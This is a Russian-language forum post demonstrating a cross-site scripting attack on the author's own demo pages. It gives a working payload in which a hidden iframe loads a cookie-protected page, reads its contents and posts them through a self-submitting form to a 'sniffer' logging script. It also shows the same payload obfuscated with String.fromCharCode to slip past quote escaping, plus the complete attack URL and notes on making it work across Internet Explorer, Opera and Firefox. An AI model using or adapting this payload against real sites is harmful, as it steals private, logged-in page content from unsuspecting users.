Под 7.1 может и не работает...не угадал, не работает под 9.2
Не передает в него кукисы Cookies привязываются не к определенной странице, обычно это [протокол] домен [путь].
Даже если бы они не передавались, ничто не помешало бы взять их в document.cookie и передать iframe'у.
Несовместимость с Ие заключалась в двух вещах:
1) В Ие iframe-document расположен не в iframe.contentDocument, а в iframe.document
2) Несмотря на стандарты ecmascript Ie запрещает инициировать отправку формы размещенную в iframe путем iframe.document.form.submit()
Рассмотрим пример.
страница http://v1k.jino-net.ru/page1.php обладает xss уязвимостю в параметре echo. Она также присваивает cookie "login=billgates".
страница http://v1k.jino-net.ru/secretpage.php проверяет cookie, и если в нем login==billgates, to выводит, безусловно, секретную информацию "bill gates is lamer", иначе пишет "You didn't enter".
страница http://v1k.jino-net.ru/sniffer.php является сниффером,который записывает каждое значение из $_REQUEST в лог sinfferlog.txt.
Нам нужно узнать, что билл ламер.
Код теперь имеет вид
<iframe id=i1 style=display:none name=i1 src=http://v1k.jino-net.ru/secretpage.php onload="
if(typeof(onetime)=='undefined'){
onetime=1;
idoc=(navigator.appName=='Microsoft Internet Explorer')?i1.document:i1.contentDocument;//определяем iframe-document в зависимости от браузера
data=idoc.childNodes[0].innerHTML;
idoc.write('<form method=post id=\'f1\' action=\'http://v1k.jino-net.ru/sniffer.php\'><input name=\'send\' value=\''+escape(data)+'\'/></form><script>f1.submit()</script>')//пишем в iframe самоотправляющуюся форму
}"></iframe>
Где Iframe Src = код похищяемой страницы, а Form Action адрес сниффера.
%22 и %27 экранируются на jino-net, поэтому кодируем содержимое Iframe Onload в вид String.fromCharCode - String.fromCharCode(105,102,40,116,121,112,101,111 ,102,40,111,110,101,116,105,109,101,41,61,61,39,11 7,110,100,101,102,105,110,101,100,39,41,123,111,11 0,101,116,105,109,101,61,49,59,105,100,111,99,61,4 0,110,97,118,105,103,97,116,111,114,46,97,112,112, 78,97,109,101,61,61,39,77,105,99,114,111,115,111,1 02,116,32,73,110,116,101,114,110,101,116,32,69,120 ,112,108,111,114,101,114,39,41,63,105,49,46,100,11 1,99,117,109,101,110,116,58,105,49,46,99,111,110,1 16,101,110,116,68,111,99,117,109,101,110,116,59,10 0,97,116,97,61,105,100,111,99,46,99,104,105,108,10 0,78,111,100,101,115,91,48,93,46,105,110,110,101,1 14,72,84,77,76,59,105,100,111,99,46,119,114,105,11 6,101,40,39,60,102,111,114,109,32,109,101,116,104, 111,100,61,112,111,115,116,32,105,100,61,92,39,102 ,49,92,39,32,97,99,116,105,111,110,61,92,39,104,11 6,116,112,58,47,47,118,49,107,46,106,105,110,111,4 5,110,101,116,46,114,117,47,115,110,105,102,102,10 1,114,46,112,104,112,92,39,62,60,105,110,112,117,1 16,32,110,97,109,101,61,92,39,115,101,110,100,92,3 9,32,118,97,108,117,101,61,92,39,39,43,101,115,99, 97,112,101,40,100,97,116,97,41,43,39,92,39,47,62,6 0,47,102,111,114,109,62,60,115,99,114,105,112,116, 62,102,49,46,115,117,98,109,105,116,40,41,60,47,11 5,99,114,105,112,116,62,39,41,125)
Конечный url - http://v1k.jino-net.ru/page1.php?echo=<iframe%20id=i1%20style=display:none%20name=i1%20sr c=http://v1k.jino-net.ru/secretpage.php%20onload=eval(String.fromCharCode(1 05,102,40,116,121,112,101,111,102,40,111,110,101,1 16,105,109,101,41,61,61,39,117,110,100,101,102,105 ,110,101,100,39,41,123,111,110,101,116,105,109,101 ,61,49,59,105,100,111,99,61,40,110,97,118,105,103, 97,116,111,114,46,97,112,112,78,97,109,101,61,61,3 9,77,105,99,114,111,115,111,102,116,32,73,110,116, 101,114,110,101,116,32,69,120,112,108,111,114,101, 114,39,41,63,105,49,46,100,111,99,117,109,101,110, 116,58,105,49,46,99,111,110,116,101,110,116,68,111 ,99,117,109,101,110,116,59,100,97,116,97,61,105,10 0,111,99,46,99,104,105,108,100,78,111,100,101,115, 91,48,93,46,105,110,110,101,114,72,84,77,76,59,105 ,100,111,99,46,119,114,105,116,101,40,39,60,102,11 1,114,109,32,109,101,116,104,111,100,61,112,111,11 5,116,32,105,100,61,92,39,102,49,92,39,32,97,99,11 6,105,111,110,61,92,39,104,116,116,112,58,47,47,11 8,49,107,46,106,105,110,111,45,110,101,116,46,114, 117,47,115,110,105,102,102,101,114,46,112,104,112, 92,39,62,60,105,110,112,117,116,32,110,97,109,101, 61,92,39,115,101,110,100,92,39,32,118,97,108,117,1 01,61,92,39,39,43,101,115,99,97,112,101,40,100,97, 116,97,41,43,39,92,39,47,62,60,47,102,111,114,109, 62,60,115,99,114,105,112,116,62,102,49,46,115,117, 98,109,105,116,40,41,60,47,115,99,114,105,112,116, 62,39,41,125))></iframe>
Работает и на Opera, и на Internet Explorer, и на Mozilla Firefox.
ЗЫ: i am ajax hater
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot